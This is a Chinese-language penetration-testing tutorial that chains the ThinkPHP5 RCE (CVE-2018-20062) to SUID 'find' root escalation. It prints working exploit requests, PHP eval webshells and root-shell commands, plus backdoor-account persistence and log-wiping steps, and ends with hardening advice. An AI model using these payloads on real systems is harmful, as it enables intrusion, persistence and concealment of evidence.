1. 项目概述从Web漏洞到系统权限的完整攻防链条拿到这个标题很多刚入门安全的朋友可能会觉得有点“缝合”感一个讲的是Web框架的远程代码执行漏洞另一个讲的是Linux系统里的权限提升技巧它们是怎么串到一起的这正是这个实战案例的精髓所在它完整地模拟了一次真实的渗透测试路径从外部Web应用漏洞入手获取一个初始立足点Webshell再通过系统内部的配置缺陷将低权限提升至最高权限root。这个过程业内通常称为“攻击链”或“杀伤链”。CVE-2018-20062这个漏洞本质上是ThinkPHP5框架在路由解析和请求变量处理上出现了逻辑缺陷导致攻击者可以“欺骗”框架去执行任意PHP函数进而执行系统命令。这就像你发现大楼的门禁系统ThinkPHP框架对访客卡HTTP请求的校验逻辑有bug你可以伪造一张拥有管理员权限的卡刷开任何门。而Linux下的find命令SUID提权则是另一个层面的故事。它不一定是漏洞更多是系统管理员不当配置留下的“后门”。想象一下大楼的保洁员普通用户被允许使用一把万能钥匙SUID权限的find命令而这把钥匙不仅能开门还能启动整栋楼的总控系统执行任意命令。攻击者就是先利用门禁bug溜进大楼RCE拿Webshell然后在大楼内部找到了保洁员落下的那把万能钥匙发现SUID的find最终获得了大楼的全部控制权提权到root。这个实战演练的价值远不止于复现两个独立的技术点。它强迫你以攻击者的视角去思考如何将零散的知识点串联成一条有效的攻击路径。同时它也以最直观的方式告诫开发者和运维人员安全是一个整体框架的一个小疏漏叠加系统的一个小疏忽就可能引发全线崩溃。接下来我会带你深入这两个技术的原理核心并手把手走通整个实战流程你会看到每一个命令背后的逻辑以及那些容易被忽略但至关重要的细节。2. ThinkPHP5 RCE漏洞深度剖析与武器化利用2.1 漏洞根源失控的请求变量与脆弱的反射调用要理解CVE-2018-20062我们不能停留在“有个POST包能执行命令”的层面必须深入到ThinkPHP5以5.0.23为例的代码逻辑里去看。漏洞的核心触发点在thinkphp/library/think/App.php的run方法以及thinkphp/library/think/Request.php的__construct构造方法。简单来说ThinkPHP在处理请求时为了支持请求方法伪装比如在HTML表单里用_methodPUT来模拟PUT请求设计了一个机制它允许通过POST参数_method来指定当前的请求方法。问题就出在这个_method参数的值被直接用于调用Request类的同名方法。更致命的是在调用前缺乏对方法名和参数的有效过滤。攻击者构造的Payload是这样的_method__constructfilter[]systemmethodgetget[]whoami。我们来拆解一下这个“魔法”是如何生效的_method__construct框架看到这个参数会尝试调用Request-__construct()方法。这是一个类的构造方法。filter[]system在PHP中__construct()方法在实例化时如果接收到数组参数会进行变量赋值。这里filter这个成员变量被赋值为system。filter是Request类用于过滤输入数据的回调函数。methodget同样这会将Request类的method属性设置为get。关键的一步当后续代码例如在路由解析或输入获取时调用Request类的input方法获取数据时由于filter被污染为system任何经过input方法处理的数据都会被当作命令传递给system()函数执行。get[]whoamiwhoami这个命令字符串正是通过$_GET[get]或类似方式作为数据传递给了input方法从而被system(filter($data))执行。所以漏洞的本质是通过请求参数覆盖了类的内部属性污染了数据过滤链最终导致任意函数执行。它不是一个简单的SQL注入或文件包含而是利用了框架本身的设计特性进行“参数污染”攻击。注意不同版本的ThinkPHP5和不同的利用工具Payload的写法可能有细微差别例如可能是filtersystem、server[REQUEST_METHOD]id等变体。其核心原理都是相通的控制_method触发构造方法然后注入恶意的filter和待执行的命令参数。2.2 手工探测与利用告别工具依赖很多人一提到漏洞利用就想到自动化工具。但真正理解漏洞的人必须掌握手工验证的方法。这不仅有助于在工具失效时灵活变通更能加深你对HTTP协议和漏洞原理的理解。手工探测步骤目标识别访问疑似目标如http://target.com/index.php。观察页面特征、报错信息或直接查看源码中是否包含“ThinkPHP”字样。也可以尝试访问http://target.com/robots.txt或一些常见路径看是否有ThinkPHP的默认页面。使用Burp Suite或浏览器开发者工具拦截对目标首页的一个正常GET请求。将其改为POST请求。将请求体Body的内容类型改为application/x-www-form-urlencoded。填入最基本的探测Payloadswhoami_method__constructmethodfilter[]systemswhoami这是要执行的命令。注意这里s作为命令输入点是因为在ThinkPHP的默认配置下s参数代表路由路径它会进入特定的处理流程。其他参数如get[]也可能生效取决于具体代码分支。发送请求观察响应。一个典型的Burp Suite重放攻击示例如下POST /index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 swhoami_method__constructmethodgetfilter[]system如果漏洞存在响应体中通常会直接回显命令执行的结果比如www-data或apache。进阶利用——写入Webshell直接执行命令是临时的我们需要一个持久的后门。可以通过写入文件的方式。POST /index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 150 secho ?php eval($_POST[cmd]);? /var/www/html/shell.php_method__constructmethodgetfilter[]system这个命令尝试向网站根目录写入一个一句话木马。但这里有个巨坑你很可能没有写入权限。Web服务进程如www-data用户通常只有对特定目录如上传目录、缓存目录的写权限。更可靠的方法是使用PHP的file_put_contents函数POST /index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 135 cfile_put_contents(shell.php, ?php eval($_REQUEST[pass]);?)_method__constructmethodgetfilter[]assert这里我们换用了filter[]assert和c参数。assert是PHP的一个断言函数也能执行代码。file_put_contents是PHP函数直接由PHP进程执行成功与否取决于PHP进程对目标目录的权限这比直接执行系统命令echo写文件成功率更高。你需要不断尝试不同的目录如./shell.php、/tmp/shell.php等。2.3 自动化工具实战thinkphp_gui_tools 详解手工验证成功后为了提高效率我们可以使用图形化工具。原文提到的thinkphp_gui_tools是一个不错的选择。使用它时有几个关键点需要注意环境依赖确保你的系统已安装Java 8或以上版本。在终端输入java -version确认。目标URL工具需要输入的是ThinkPHP应用的入口URL通常是http://target.com/或http://target.com/index.php。如果目标使用了路由重写隐藏了index.php直接输入域名即可。漏洞检测点击“漏洞检测”后工具会发送多个Payload进行测试。不要完全依赖工具的“检测结果”。有时工具显示无漏洞但手工测试可能成功反之亦然。工具只是辅助。Getshell功能文件名尽量使用不起眼的名字如test.php、logo.php避免shell.php、backdoor.php这类明显特征。木马内容工具默认提供的是?php eval($_POST[pass]);?。这是最经典的一句话木马用抑制错误eval执行POST参数pass传来的代码。写入路径这是成败关键。工具通常会尝试写入当前目录。如果失败你需要根据手工探测时获取的路径信息如通过pwd命令在“文件名”处填写绝对路径例如/var/www/html/upload/tmp/logo.php。连接测试上传成功后立即用蚁剑或中国菜刀连接测试。如果连接失败检查a) 文件是否真的写入成功可用漏洞执行ls -la命令查看b) 密码是否与木马内容中的参数名一致本例是passc) 网站是否开启了安全防护软件拦截了恶意请求。实操心得在实际渗透中自动化工具和手工验证必须结合使用。工具用于快速批量测试和利用手工用于深入分析和解决工具处理不了的边缘情况。永远要对工具的输出保持怀疑并用基本原理去验证。3. Linux SUID机制与find命令提权原理拆解3.1 SUID/SGID权限一把危险的双刃剑在Linux权限体系中除了常见的读(r)、写(w)、执行(x)外还有三个特殊的权限位SUID、SGID和Sticky Bit。我们这里重点说SUID。SUID (Set User ID)当可执行文件被设置SUID位后任何用户在执行这个文件时进程的有效用户IDEUID将变为该文件所有者的用户ID而不是执行者的ID。SGID (Set Group ID)对于文件作用类似SUID但有效组ID变为文件所属组。对于目录在该目录下创建的新文件将继承目录的所属组。用命令查看SUID权限ls -l /usr/bin/passwd你会看到类似这样的输出-rwsr-xr-x 1 root root ...。注意所有者权限位的x被替换成了s如果所有者原本没有x权限则显示大写的S这个s就代表了SUID。为什么需要SUID以/usr/bin/passwd为例。普通用户需要修改自己的密码而密码存储在/etc/shadow文件里这个文件只有root可写。如果没有SUID普通用户运行passwd程序进程权限是用户自己无法修改shadow。设置了SUID后普通用户运行passwd时进程瞬间“变身”为root从而拥有写入shadow的权限修改完成后进程结束。风险所在如果系统管理员错误地给一个本身功能强大、且允许执行用户自定义命令的程序设置了SUID权限那么它就从“特权工具”变成了“特权后门”。find命令正是这样一个典型。3.2 find命令的-exec参数为何成为提权利器find命令的-exec参数是其最强大的功能之一它允许对搜索到的每一个文件执行指定的命令。其基本语法是find [路径] [表达式] -exec 命令 {} \;或find [路径] [表达式] -exec 命令 {} {}是一个占位符会被替换成当前找到的文件名。\;或用于终止-exec参数。\;表示对每个找到的文件执行一次命令表示将找到的所有文件作为参数一次性传递给命令。提权的逻辑链条条件/usr/bin/find文件被设置了SUID且所有者为root。执行普通用户执行/usr/bin/find . -exec whoami \;。权限提升由于SUIDfind进程的实际权限是root。命令执行-exec参数让find进程去执行whoami命令。继承whoami进程由find进程创建在Linux中子进程默认继承父进程的用户ID。因此whoami进程也是以root权限运行输出自然是“root”。获取Shell如果将whoami替换为/bin/bash或/bin/sh那么启动的bash shell就会是一个拥有root权限的shell。3.3 信息收集发现系统中的SUID“宝藏”在通过Webshell获得一个低权限交互终端后第一步不是盲目提权而是全面侦察。信息收集的完整性和准确性直接决定后续行动的成败。1. 确认当前用户权限whoami # 查看当前用户名 id # 查看详细的用户ID、组ID信息 groups # 查看用户所属的所有组id命令的输出尤其重要它会告诉你是否是sudo组的成员。如果是可能通过sudo -l查看能免密执行的命令那将是比SUID更简单的提权路径。2. 系统与内核信息uname -a # 查看内核版本搜索对应版本的本地提权漏洞 cat /etc/issue # 查看操作系统发行版信息 cat /etc/*-release # 查看更详细的发行版信息 hostname # 主机名内核版本可用于搜索如DirtyCow、DirtyPipe等著名的本地提权漏洞。3. 寻找SUID/SGID文件核心步骤# 查找所有SUID文件 find / -perm -us -type f 2/dev/null # 查找所有SGID文件 find / -perm -gs -type f 2/dev/null # 更全面的查找SUID或SGID且属于root find / -user root -perm -4000 -type f 2/dev/null find / -user root -perm -2000 -type f 2/dev/null-perm -us精确匹配SUID位被设置的文件。-perm -4000八进制表示法同样代表SUID。2/dev/null将标准错误例如“Permission denied”重定向到空设备让输出更清晰。/从根目录开始搜索确保全覆盖。4. 检查可写目录和计划任务find / -writable -type d 2/dev/null | grep -v /proc/ # 查找全局可写目录排除/proc find / -perm -2 -type f 2/dev/null # 查找全局可写文件 crontab -l # 查看当前用户的计划任务 ls -la /etc/cron* /etc/at* /var/spool/cron 2/dev/null # 查看系统级计划任务文件全局可写目录可能允许你替换某些服务脚本或配置文件。计划任务cron job如果以root权限运行且脚本或路径可写也是绝佳的提权点。5. 检查环境变量与历史命令env # 查看环境变量注意PATH、LD_PRELOAD等 echo $PATH history # 查看当前shell的历史命令可能泄露敏感信息或密码 cat ~/.bash_history # 查看bash历史记录文件当你执行find / -perm -us -type f 2/dev/null后会得到一个列表。常见的、可用于提权的SUID程序包括find(本文主角)vim/vinanobash(较少见)less/morenmap(旧版本交互模式)cp/mvawksedpython/perl/ruby等解释器我们的目标就是从中找出像find这样能通过参数执行命令或读写文件的程序。4. 实战复现从RCE到find提权的完整路径现在我们将理论串联起来模拟一次完整的渗透过程。假设目标IP是192.168.1.100运行着存在漏洞的ThinkPHP5.0.23。4.1 阶段一外部突破获取Webshell步骤1目标识别与漏洞验证使用浏览器或curl访问http://192.168.1.100/发现是ThinkPHP默认页面。使用Burp Suite抓包发送手工Payload验证。POST /index.php HTTP/1.1 Host: 192.168.1.100 Content-Type: application/x-www-form-urlencoded Content-Length: 52 sid_method__constructmethodgetfilter[]system响应包中看到了uid33(www-data) gid33(www-data) groups33(www-data)漏洞确认步骤2尝试写入Webshell首先探测Web根目录和当前权限POST /index.php HTTP/1.1 Host: 192.168.1.100 ... spwd_method__constructmethodgetfilter[]system返回/var/www/html。尝试写入POST /index.php HTTP/1.1 Host: 192.168.1.100 ... secho ?php eval($_POST[cmd]);? /var/www/html/shell.php_method__constructmethodgetfilter[]system返回空白或错误可能权限不足。尝试使用PHP函数并换个目录POST /index.php HTTP/1.1 Host: 192.168.1.100 ... cfile_put_contents(/tmp/webshell.php, ?php eval($_REQUEST[a]);?)_method__constructmethodgetfilter[]assert这次成功了响应中返回了写入的字节数。步骤3使用蚁剑连接打开蚁剑右键添加数据。URL地址填写http://192.168.1.100/tmp/webshell.php连接密码填写a(与木马中的$_REQUEST[a]对应)编码器、请求头等可先默认点击添加。连接成功你现在可以在图形化界面里浏览文件、执行命令了。4.2 阶段二内部横向移动与信息收集通过蚁剑的虚拟终端执行信息收集命令。# 确认当前用户和权限 whoami # 输出 www-data id # 查看详细信息 # 寻找SUID文件 find / -perm -us -type f 2/dev/null | grep -E (find|vim|nano|bash|less|nmap|awk|python|perl|ruby)假设在返回列表中看到了/usr/bin/find。验证find的SUID权限ls -l /usr/bin/find输出中文件权限应为-rwsr-xr-x所有者为root。初步测试/usr/bin/find /etc/passwd -exec whoami \;如果返回root恭喜你这个find命令可以用来提权。4.3 阶段三利用find进行权限提升方法1直接获取一个交互式Root Shell这是最直接有效的方法。/usr/bin/find . -exec /bin/bash -p \; -quit.在当前目录查找。-exec /bin/bash -p \;对找到的每个文件哪怕只是一个点执行/bin/bash -p。-p参数告诉bash保留提升的权限防止它自动降权。-quit找到第一个匹配项后立即退出这样我们只会得到一个bash进程。执行后命令提示符可能不会变化但输入whoami和id确认应该已经是root了。方法2通过find执行单条root命令如果你只需要读取一个受保护的文件而不需要完整的shell。/usr/bin/find . -exec cat /root/flag.txt \; -quit或者添加一个具有SUID权限的bash副本更持久/usr/bin/find . -exec cp /bin/bash /tmp/rootbash \; -exec chmod us /tmp/rootbash \; -quit chmod x /tmp/rootbash /tmp/rootbash -p这样就在/tmp目录下创建了一个属于root且带SUID的bash以后直接运行它即可获得root shell。方法3如果find没有-exec选项极少数精简版的find可能不支持-exec。别急还有其他方法。例如利用find的-execdir在某些版本中或通过其他方式调用命令。但更常见的是利用其他SUID程序。例如如果vim有SUIDvim /etc/passwd # 在vim中输入 :!bash 即可启动一个root shell。4.4 阶段四巩固战果与痕迹清理仅用于教学理解在合法的渗透测试或CTF比赛中获取flag后任务就结束了。但在真实的安全评估中理解攻击者后续可能的行为至关重要。权限维持攻击者可能会创建后门账户、SSH密钥、定时任务或系统服务。# 添加一个UID为0的root权限用户非常隐蔽 echo backdoor:x:0:0:backdoor:/root:/bin/bash /etc/passwd echo backdoor::18891:0:99999:7::: /etc/shadow # 或者修改现有用户的密码 echo root:$6$salt$hashed_password... | chpasswd -e信息收集窃取数据库、配置文件、源代码、日志等敏感信息。find / -name *.sql -o -name *.db -o -name config*.php 2/dev/null cat /var/www/html/config/database.php history -c # 清除当前shell历史痕迹清理删除访问日志、命令历史、上传的Webshell等。# 清理Web日志假设是Apache echo /var/log/apache2/access.log echo /var/log/apache2/error.log # 清理当前用户历史 history -c history -w rm ~/.bash_history # 删除Webshell rm /tmp/webshell.php重要提示在真实环境中这些清理操作往往会被入侵检测系统(IDS)或日志审计系统记录且现代操作系统和日志服务有防篡改机制。彻底的痕迹清理非常困难。5. 防御策略与安全加固建议作为防守方我们需要从这两个漏洞中吸取教训构建纵深防御体系。5.1 针对ThinkPHP RCE漏洞的防御及时升级这是最根本的解决方案。ThinkPHP官方早已修复此漏洞请确保所有ThinkPHP项目升级到安全版本5.0.24 或 5.1.31。关闭调试模式在生产环境中务必在.env或配置文件中设置app_debug false。调试模式会暴露详细的错误信息为攻击者提供便利。开启强制路由在应用配置文件中设置url_route_must true。强制路由要求每个访问地址都必须预先定义路由规则可以彻底杜绝通过s参数进行控制器调用的攻击方式。参数过滤对用户输入的_method、filter等敏感请求参数进行严格的合法性校验和白名单过滤。部署WAF在应用前端部署Web应用防火墙可以拦截常见的RCE攻击Payload。最小权限原则运行Web服务的用户如www-data应仅拥有必要的权限特别是写权限。严格限制其对Web根目录以外区域的访问。5.2 针对Linux SUID提权的防御定期审计SUID/SGID文件使用脚本定期扫描系统审查不必要的SUID位。# 审计脚本示例 #!/bin/bash echo [] SUID files: find / -perm -4000 -type f 2/dev/null echo [] SGID files: find / -perm -2000 -type f 2/dev/null对比基线发现新增的可疑文件。移除不必要的SUID权限对于绝大多数命令根本不需要SUID权限。使用chmod u-s命令移除。# 例如find命令绝不应该有SUID sudo chmod u-s /usr/bin/find # 检查哪些命令真的需要SUID如passwd, sudo, su, ping等一个基本的原则是除非你非常清楚该命令为什么需要SUID并且这是官方文档或安全最佳实践所要求的否则就移除它。使用扩展属性加强保护chattr给关键二进制文件如find,vim,bash添加不可修改属性防止被替换。sudo chattr i /usr/bin/findSELinux/AppArmor启用强制访问控制框架。SELinux或AppArmor可以为每个进程定义严格的安全策略即使进程以root身份运行其能执行的操作也会受到策略限制可以极大遏制提权攻击。限制用户权限遵循最小权限原则为不同服务创建独立的低权限用户。谨慎使用sudo通过visudo编辑配置文件限制用户可以执行的命令范围并尽可能使用NOPASSWD。保持系统更新及时安装安全更新修复内核及软件漏洞。入侵检测与监控部署HIDS主机入侵检测系统监控对SUID文件的异常调用、特权命令的执行、计划任务的修改、敏感文件的读取等行为。6. 拓展思考与其他常见提权手法findSUID提权只是Linux提权森林中的一条小路。一个成熟的攻击者或安全研究员必须掌握更多技能。1. 内核漏洞提权这是最“暴力”也最通用的方法。通过利用Linux内核本身的漏洞如Dirty Cow, Dirty Pipe来直接获取root权限。通常步骤是上传或编译一个针对特定内核版本的漏洞利用程序exploit运行它。# 信息收集确定内核版本 uname -a cat /proc/version # 搜索公开的exploit例如在searchsploit或GitHub上 # 编译并运行可能需要gcc gcc exploit.c -o exploit ./exploit防御及时更新内核。2. 利用sudo配置不当如果当前用户在sudoers列表中并且可以免密码运行某些命令就可能提权。sudo -l # 列出当前用户可以sudo执行的命令 # 如果看到例如 # (ALL) NOPASSWD: /usr/bin/vim # 那么可以 sudo vim -c !bash防御严格配置sudo遵循最小权限原则。3. 利用环境变量劫持PATH, LD_PRELOAD如果SUID程序调用了系统命令但没有使用绝对路径或者动态链接库加载路径可控就可能被劫持。# 示例一个SUID程序内部调用了 system(ls) # 攻击者可以 cd /tmp echo /bin/bash ls chmod x ls export PATH/tmp:$PATH # 然后运行那个SUID程序它会执行/tmp/ls即bash防御SUID程序内部应使用绝对路径调用命令或重置安全的环境变量。4. 利用计划任务Cron Jobs如果系统存在以root权限运行的定时任务且任务脚本或脚本所在目录对当前用户可写就可以通过修改脚本来提权。# 查看系统计划任务 ls -la /etc/cron* /var/spool/cron 2/dev/null cat /etc/crontab # 如果发现一个脚本 /etc/cron.hourly/cleanup 可写 echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /etc/cron.hourly/cleanup # 等待任务执行防御确保计划任务脚本和目录的权限严格仅root可写。5. 利用可写系统服务或初始化脚本如果/etc/init.d/、/lib/systemd/system/等目录下的服务脚本可写可以修改它们在服务重启时执行恶意代码。 防御严格控制系统服务文件的权限。这次从ThinkPHP RCE到Linux find提权的实战之旅清晰地展示了一次典型的“外部突破-内部提权”攻击链。对于开发者它警示了框架安全配置的重要性对于运维人员它强调了系统权限最小化原则的必要性对于安全爱好者它提供了一套完整的、可复现的实战思路。安全攻防的本质是知识与思维的对抗理解攻击者的每一步正是我们构建更坚固防御的起点。在实际操作中最大的挑战往往不是技术本身而是对细节的把握和对环境的适应能力比如Web目录的权限、防火墙规则、命令的可用性等等这些都需要在实战中不断积累经验。